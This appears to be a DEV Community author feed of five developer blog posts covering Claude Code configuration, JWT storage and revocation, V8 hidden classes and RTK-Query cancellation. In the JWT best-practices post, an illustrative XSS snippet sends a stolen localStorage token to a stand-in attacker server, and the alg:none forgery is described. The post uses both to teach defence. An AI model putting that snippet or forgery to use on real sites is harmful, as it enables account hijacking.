DEV Community: Rahul Kumar

How I Set Up Claude to Actually Work Like My Pair Programmer

Rahul Kumar — Thu, 27 Aug 2026 16:00:56 +0000

For the first few weeks with Claude Code, I used it like an overqualified search engine paste an error, grab the snippet, fix whatever it broke, and repeat. It got the job done, but it felt like pairing with a brilliant junior dev who suffered total amnesia every time I cleared the terminal. After getting fed up with constantly correcting the same package manager slip-ups and component styles, I spent a weekend configuring our repo's context files and hooks so it would actually stop behaving like a complete stranger in the codebase.

CLAUDE.md: The Baseline
Rules: Hard Guardrails over General Docs
Custom Skills for Repetitive Prompts
Hooks as an Automated Safety Net
The Plan-Build-Verify Loop
What Failed (And What to Avoid)

CLAUDE.md: The Baseline

The single highest-leverage change was dropping a minimal CLAUDE.md in the repo root. Don't write a novel here. Mine is around fifteen lines covering the core stack, package manager quirks, and test commands:

# Project Context
- Next.js (App Router), TypeScript, Tailwind CSS
- Package manager: pnpm (never use npm or yarn)
- Test runner: vitest

# Code Conventions
- Prefer React Server Components unless client interactivity is required
- Strict TypeScript: no explicit `any`
- Run `pnpm lint` before marking tasks complete

Before adding this, the CLI constantly hallucinated npm install flags in our pnpm workspace and defaulted to old class-based patterns. Putting this baseline in place eliminated about 80% of trivial corrections on day one.

Rules: Hard Guardrails over General Docs

Context files set the mood, but when you need strict constraints, separate rule files work much better. I keep short instructions inside .claude/rules/ that target specific recurring mistakes:

Never touch database migration files directly without explicit user confirmation.
Don't leave inline comments explaining what code does unless the logic is genuinely complex.
Run existing test suites before and after modifying shared utility functions.

Every rule in that folder exists because the model burned me on something specific. If an instruction runs longer than two or three sentences, it belongs in documentation, not a rule.

Custom Skills for Repetitive Prompts

If you find yourself typing the same multi-step prompt every morning, turn it into a skill. Skills are essentially reusable markdown prompt recipes that the CLI triggers on command.

I set up a PR review skill (.claude/skills/review-pr.md) that systematically inspects git diffs, flags missing edge cases, checks error boundaries, and surfaces security red flags before pushing. Another small one formats commit messages following our team's conventional commit schema:

# Skill: conventional-commit

When generating a commit message:
1. Use conventional commit syntax (`feat:`, `fix:`, `refactor:`, `chore:`).
2. Keep the summary line under 50 characters, present tense.
3. Include a bulleted body explaining *why* the change was made if the diff spans multiple modules.

It saves only thirty seconds each time, but across fifty commits a week, that friction adds up.

Hooks as an Automated Safety Net

Hooks run commands automatically on specific lifecycle events—like pre-tool execution or right after a file edit.

I keep two active:

Post-edit test runner: Automatically executes affected Vitest files after Claude edits them. If tests fail, it forces the model to diagnose and patch the break immediately instead of claiming success.
Formatter check: Runs prettier --write on touched files so diffs stay clean.

A quick word of caution: don't overbuild hooks. I initially chained five separate linters and build checks, only to spend half my afternoon debugging why the CLI was hanging on background tasks. Keep them dead simple.

The Plan-Build-Verify Loop

For multi-file refactors or new features, letting an agent blindly edit files across a repository is asking for merge conflicts. I set up a custom command (/loop-feature) that enforces a strict 4-stage loop:

Plan: Scan the relevant directory, map dependencies, and draft a plain-text implementation plan.
Review: I inspect the plan and tweak assumptions before a single line of code is written.
Execute: Modify files incrementally, running tests after each file change.
Summary: Print a concise diff breakdown and note any unresolved edge cases.

Catching flawed architectural assumptions during step 1 takes twenty seconds; debugging a half-broken state machine spread across eight files takes an hour.

What Failed (And What to Avoid)

Dumping 800-line style guides into context: The model suffers context dilution and starts ignoring the critical instructions near the middle. Keep context tight and scannable.
Overly broad philosophical rules: Directives like "always write pure functional code" choked on our legacy object-oriented modules. Rules must be pragmatic, not ideological.
Giant prompt templates: Any skill description longer than a single screen ended up getting skipped or partially hallucinated.

Start with just a 15-line CLAUDE.md. Don't try to build an entire automation suite upfront—just add rules and hooks as you run into actual papercuts during your daily work. Over a couple of sprints, those small adjustments compound into an assistant that genuinely matches your engineering cadence.

What’s your go-to setup for keeping CLI coding assistants from drifting off-track? Have you experimented with project-level rules or automated hooks yet? Let me know in the comments below!

Note: The core setup, rules, and configurations in this post come directly from my own workflow experiments, but I used AI to help structure and polish the presentation.

Essential JWT Security (Part 2): Refresh Tokens and Revocation Made Simple

Rahul Kumar — Tue, 30 Sep 2025 07:54:02 +0000

Mastering JWT Security: Refresh Tokens, Revocation, and Real Logout

So, before we dive in: here’s Part 1 — Essential JWT Security Best Practices for Developers — check it out if you haven’t already. → https://dev.to/rahuls24/essential-jwt_security_best_practices_for_developers-7k5 ([DEV Community][1])

Alright, so last time we talked about JWTs and how people (me included, years ago) manage to mess them up. LocalStorage? Bad idea. Weak secrets? Been there, done that.

But here’s the thing that really kept me up at night: once you hand out a JWT, how the hell do you take it back?

They’re “stateless,” which sounds great on paper. Until a user clicks “log out,” closes their laptop, and then you realize… that token is still perfectly valid until it expires. If someone swiped it, they’re chilling in your app like nothing happened.

That’s the “can’t take it back” problem.

Daily Pass vs Season Pass

The way the pros handle it is by splitting the job in two. Think of it like theme park tickets:

The access token is your day pass. It works everywhere in the park, but only until the day’s over. In app terms, maybe 15 minutes. If it gets stolen, eh, it’s worthless soon anyway.
The refresh token is the season pass. It doesn’t let you straight onto the rides — it just gets you another daily pass. This one lasts longer, maybe a week or a month, and you need to guard it.

When I first heard this, it clicked. Why risk one all-powerful token when you can just rotate the short-lived one?

Where Do You Put These Things?

Here’s where I see a lot of devs (and past me again) fumble: storing tokens.

The rule of thumb:

Refresh token goes into an HttpOnly cookie. This is the “special secure pocket.” Your JS can’t touch it, so XSS attacks have a harder time grabbing it.
Access token just hangs out in memory. No fancy storage. When the tab closes, poof, it’s gone.

Something like this in Express:

const { accessToken, refreshToken } = issueTokens(user);

res.cookie('refreshToken', refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'Strict',
});

res.json({ accessToken });

One in the cookie jar, one in your app’s hand.

Keeping the User Happy

Now, nobody wants to get booted out every 15 minutes. I built an app once that did exactly that (because I only used short-lived access tokens)… and yeah, the users hated me.

The fix: refresh quietly.

If the app starts up, or
if you hit an API and get a 401 Unauthorized…

…just hit your /refresh_token endpoint in the background. The browser sends the refresh token cookie along, server checks it in the DB, and if it’s legit, hands you back a new access token. Your app swaps it in, retries the request, and the user has no idea anything happened. Smooth.

Finally: The Power to Revoke

Here’s the best part. Because refresh tokens live in your database, you can actually take them back.

User logs out? Kill their refresh token.
Password change? Wipe all tokens for that user.
Something sketchy going on? Nuke their tokens from orbit.

And just like that, the stateless JWT problem isn’t a problem anymore. You keep the speed and scale of access tokens, but you get the control of a normal session system.

Final Thoughts

If you’re building something serious, this setup is basically non-negotiable. I learned the hard way. Hopefully you don’t have to.

The tricky part about JWTs is that they look deceptively simple at first — “just sign a token and you’re done.” But the moment you need real-world features like logout, password resets, or revoking sessions on suspicious activity, you realize plain JWTs don’t cut it.

That’s where the access + refresh token model shines. It gives you speed and statelessness where you want it, but control when you need it.

If you’ve made it this far, I’d say you’re already ahead of the curve — most apps in the wild are still doing the bare-minimum JWT setup. Get this part right, and you’ll save yourself a lot of late-night “why is this user still logged in?!”

And hey, if you’ve got your own battle stories or tricks for handling JWTs, I’d love to hear them in the comments. That’s how we all level up together.

Essential JWT Security Best Practices for Developers

Rahul Kumar — Sat, 27 Sep 2025 01:23:12 +0000

JWT Security for Devs: Avoiding the Common Traps

JSON Web Tokens (JWTs) are everywhere these days. If you're building a web app, you've probably run into them. They're popular for handling logins because they're simple and don't require the server to keep track of who's logged in.

But here's the catch: that simplicity can be misleading. It’s easy to make a small mistake with JWTs that quietly blows a huge hole in your app's security. It's a classic case of a tool being only as safe as the person using it.

So, let's skip the dry textbook stuff and talk about the real-world traps that can get you into trouble.

Quick Refresher: What's a JWT, Really?

You've seen that long string of jumbled characters with two dots in the middle. It looks like this:

<Header>.<Payload>.<Signature>

Think of a JWT as a temporary ID card.

Header: This is like the fine print on the card, saying what kind of card it is and how it was made (e.g., "alg": "HS256").
Payload: This is the actual info on the card, like your userId and what you're allowed to do (roles). Crucially, this part is not secret. It's just scrambled in a way that anyone can unscramble (Base64 encoded). Think of it like a postcard—the mailman can read it, so never put passwords or credit card numbers here.
Signature: This is the tamper-proof hologram on the ID card. It proves that the information on the card is legit and hasn't been messed with.

A common myth is that JWTs are automatically secure because of this signature. But the signature only proves the token is authentic. Its real security depends entirely on how you create it, where you keep it, and how you check it.

Trap #1: Leaving Your Key Under the Doormat (`localStorage`)

Honestly, the most frequent mistake is storing the JWT in localStorage. So many online tutorials show you this method because it’s easy.

And yeah, it works. You log in, you stash the token with localStorage.setItem('token', jwt), and you're good to go. The problem is, localStorage is like a public bulletin board for your website. Any piece of JavaScript running on your page can read what's on it. This makes it a goldmine for Cross-Site Scripting (XSS) attacks.

Imagine a hacker finds a tiny crack in your site—maybe a leaky comment box or a shady third-party ad. All they have to do is inject a little bit of code:

// A hacker's sneaky code on your site
const token = localStorage.getItem('token');

// And just like that, they've mailed your user's token to their own server.
fetch('https://attackers-evil-server.com/steal', {
  method: 'POST',
  body: token
});

Boom. They've just hijacked a user's account.

The Fix: Use HttpOnly cookies instead. Think of an HttpOnly cookie as a special, secure pocket. The browser can put the token in there and show it to the server with every request, but your website's JavaScript code can't reach in and grab it. This single change shuts down this entire type of attack.

When you set the cookie on your server, be strict about it:

// Example in Express.js
res.cookie('token', jwt, {
  httpOnly: true,      // The magic ingredient! Blocks JavaScript.
  secure: true,        // Only send it over secure HTTPS connections.
  sameSite: 'Strict'   // Helps protect against another attack called CSRF.
});

This is a much safer way to start.

Trap #2: The "Trust Me, Bro" Algorithm

This is an oldie but a goodie. Some older JWT libraries had a weird flaw. You could create a token and in the header, set the algorithm to "alg": "none". If the server wasn't specifically told to reject this, it would just... accept the token. No signature check, no questions asked.

An attacker could grab a token, decode it, change the user ID to "admin," and set the algorithm to "none". Then they'd chop off the signature part.

If your server blindly trusted the header, the attacker would instantly be an admin. It’s like showing a bouncer a ticket that says, "No signature required," and having them just wave you in.

The Fix: Modern tools are better about this, but you should always be cautious. Don't be so trusting! When you check a token, tell your server exactly which algorithms you allow.

// "I will ONLY accept tokens signed with HS256 or RS256."
jwt.verify(token, secret, { algorithms: ['HS256', 'RS256'] });

Trap #3: Using "password123" as Your Secret

The signature's strength depends entirely on how good your secret key is. If a hacker can guess your secret, they can create their own perfect, valid tokens for any user with any permissions they want. It’s like they have a master key to your entire application.

You’d be shocked how many projects use simple secrets like "secret", "password", or "123456", especially during development, and then forget to change them. Hackers have tools that do nothing but try thousands of these common secrets.

The Fix: Your secret should be a long, random, meaningless string of characters. More importantly, never write it directly in your code. Store it in a config file that isn't checked into version control (like an environment variable) or use a proper secret manager.

Trap #4: The Token That Lives Forever

One of the features of JWTs is that the server doesn't have to remember them. But this creates a problem: once you issue a token, it’s good until it expires. If you forget to set an expiration date, you've just created a "forever token."

This is incredibly risky. If that token is ever stolen, the attacker has access to that user's account forever. Even if the user changes their password, that old stolen token still works. It's like a house key you can never, ever change.

The Fix: Always give your tokens an expiration date (exp). A good strategy is to issue short-lived "access tokens" (good for maybe 15 minutes) and long-lived "refresh tokens." This way, if an access token gets stolen, the damage is limited because it will be useless in a few minutes.

// This token will self-destruct in one hour.
const token = jwt.sign(payload, secret, { expiresIn: '1h' });

Trap #5: Forgetting to Read the Fine Print

Checking the signature is just step one. The payload has other useful bits of info that people often ignore, like iss (who issued it) and aud (who it's for).

Think of it this way: a ticket to a concert is only valid if it's for the right venue (aud) and was issued by a legitimate ticket seller (iss). You can't use a ticket for a Taylor Swift concert to get into a Metallica show.

This is super important in modern apps where different services talk to each other. If you don't check these, an attacker might be able to get a token from a low-security part of your app (like a "contact us" form) and use it to access a high-security part (like user profile settings).

The Fix: Be specific when you check the token. Make sure it's being used for the purpose it was created for.

jwt.verify(token, secret, {
  audience: 'my-user-api',
  issuer: 'https://auth.mycompany.com'
});

Trap #6: The "I Can't Take It Back" Problem

So, what happens if a token gets stolen before it expires? This is the toughest part of using JWTs. Because the server is "stateless" (it doesn't keep a list of active tokens), you can't just tell it, "Hey, don't accept this one anymore."

Relying on short expiration times helps, but it’s not a perfect solution.

The Fix: You have to make your server a little less forgetful.

Keep a Banned List: Create a list of stolen or logged-out token IDs in a fast database. When you check a token, you first check its signature, then you check if its ID is on the banned list.
Use Refresh Tokens: This is often the cleanest way. If an access token is stolen, you just revoke the user's refresh token. The thief is left with an access token that will expire on its own in a few minutes, and they won't be able to get a new one.
The Nuclear Option: If you think there's a serious breach, you can change your secret key. This will instantly invalidate all active tokens for every user, forcing everyone to log in again. It's like changing the locks on the whole building.

Final Thoughts

JWTs are a fantastic tool, but they need to be handled with care. Most security issues aren't with JWTs themselves, but with how we, as developers, use them.

If you focus on safe storage (HttpOnly cookies), careful checking (don't just check the signature, check everything!), and have a plan for when things go wrong, you'll be in a great position to build a secure app. At the end of the day, it's on us to use them right.

How Hidden Classes Improved My JavaScript Performance by 5x

Rahul Kumar — Wed, 23 Jul 2025 04:32:31 +0000

So here's a quick story. I was working with this huge dataset — over a million records — and my code was crawling. I expected some lag, sure, but not this bad. So I decided to dig in and figure out what was going on.

The Problem: Weirdly Structured Objects

Each record in the dataset came from a different source, which meant the object structures were kind of all over the place:

const records = [
    { userId: 1, action: 'click', timestamp: 172383 },
    { action: 'scroll', userId: 2, time: 172384 },
    { id: 3, action: 'hover', timestamp: 172385 },
];

At a glance, they look fine — just slightly different. But that slight difference? It was killing performance.

What I Found: Hidden Classes in V8

After a bit of research and profiling, I realized the issue was tied to how the V8 engine (used in Chrome and Node.js) optimizes object access. It uses something called hidden classes behind the scenes.

Basically, when you create objects with the same structure — same properties, same order — V8 reuses a single hidden class, which speeds things up. But if your objects are even slightly different, V8 creates new hidden classes. That’s bad news for performance.

My Fix: Normalize Everything

I decided to standardize the shape of every object before doing anything else. Here's the approach I used:

function normalize(record) {
    return {
        userId: record.userId || record.id || null,
        action: record.action || null,
        timestamp: record.timestamp || record.time || null,
    };
}

const normalizedRecords = records.map(normalize);

Now, every object had the same keys in the same order. V8 could finally do its thing.

The Result? 5x Faster 🚀

Before normalization, the transformation and aggregation logic was taking around 2000ms. After fixing the shapes? Just 400ms. That’s a 5x speed boost from one simple change.

What You Can Take From This

JavaScript engines optimize better when object shapes are consistent.
Avoid dynamic property additions.
Always try to initialize objects with all their properties upfront and in a predictable order.

TL;DR

Hidden classes matter more than you'd think. If you're working with large datasets or doing performance-sensitive work in JS, keeping your object shapes consistent can make a huge difference.

Wrapping Up

If you’re curious about how V8 handles performance under the hood, check out this excellent deep dive: Speeding up V8.

If you found this helpful or have other performance tips to share, drop them in the comments. I'd love to hear how you tackle performance bottlenecks in your own projects.

You can also follow me on X (Twitter) or connect with me on LinkedIn — I share more dev tips, real-world learnings, and JavaScript deep dives.

Thanks for reading — and keep coding! 🚀

How to Handle RTK-Query Request Cancellations in React

Rahul Kumar — Thu, 01 Aug 2024 11:28:26 +0000

Have you ever experienced stale data or race conditions in your React app when users interact quickly — like typing fast into a search box? This is where request cancellation becomes essential, especially if you're using RTK-Query for data fetching.

Recently, I worked on a feature that involved live search suggestions. Everything worked well until I noticed that the UI sometimes showed results from older, slower responses instead of the latest user input. After digging around, I realized the fix was simpler than expected: handle cancellations properly using useLazyQuery.

The Problem: Stale Data from Previous Requests

When you're making rapid API calls — like in autocomplete, filters, or live search — older requests may return after newer ones. RTK-Query will still fulfill those old requests unless you actively cancel them.

This leads to weird and confusing bugs for users where the UI briefly shows the wrong state.

The Solution: Use `useLazyQuery` with Abort Handling

Instead of firing the query as soon as the component renders, useLazyQuery gives you more control. Here’s how I implemented it:

const [trigger, result] = api.useLazySearchQuery();

const controllerRef = useRef();

const handleSearch = (input) => {
  if (controllerRef.current) {
    controllerRef.current.abort();
  }

  controllerRef.current = new AbortController();

  trigger(input, {
    signal: controllerRef.current.signal,
  });
};

This way, every time handleSearch is triggered (say, on input change), the previous request is canceled using AbortController.

Bonus: Debounce It!

To avoid firing a request on every keystroke, wrap handleSearch in a debounce:

const debouncedSearch = useCallback(debounce(handleSearch, 300), []);

What You Get

Fewer unnecessary requests.
No more UI flickering due to old results.
Cleaner, more controlled data fetching.

Wrapping Up

Effectively managing request cancellations with RTK-Query helps ensure that your app remains responsive and avoids displaying stale data. By leveraging useLazyQuery and handling cancellations appropriately, you can keep your data fetching logic clean and efficient.

DEV Community: Rahul Kumar

How I Set Up Claude to Actually Work Like My Pair Programmer

Table of Contents

CLAUDE.md: The Baseline

Rules: Hard Guardrails over General Docs

Custom Skills for Repetitive Prompts

Hooks as an Automated Safety Net

The Plan-Build-Verify Loop

What Failed (And What to Avoid)

Essential JWT Security (Part 2): Refresh Tokens and Revocation Made Simple

Mastering JWT Security: Refresh Tokens, Revocation, and Real Logout

Daily Pass vs Season Pass

Where Do You Put These Things?

Keeping the User Happy

Finally: The Power to Revoke

Final Thoughts

Essential JWT Security Best Practices for Developers

JWT Security for Devs: Avoiding the Common Traps

Quick Refresher: What's a JWT, Really?

Trap #1: Leaving Your Key Under the Doormat (localStorage)

Trap #2: The "Trust Me, Bro" Algorithm

Trap #3: Using "password123" as Your Secret

Trap #4: The Token That Lives Forever

Trap #5: Forgetting to Read the Fine Print

Trap #6: The "I Can't Take It Back" Problem

Final Thoughts

How Hidden Classes Improved My JavaScript Performance by 5x

The Problem: Weirdly Structured Objects

What I Found: Hidden Classes in V8

My Fix: Normalize Everything

The Result? 5x Faster 🚀

What You Can Take From This

TL;DR

Wrapping Up

How to Handle RTK-Query Request Cancellations in React

The Problem: Stale Data from Previous Requests

The Solution: Use useLazyQuery with Abort Handling

Bonus: Debounce It!

What You Get

Wrapping Up

Trap #1: Leaving Your Key Under the Doormat (`localStorage`)

The Solution: Use `useLazyQuery` with Abort Handling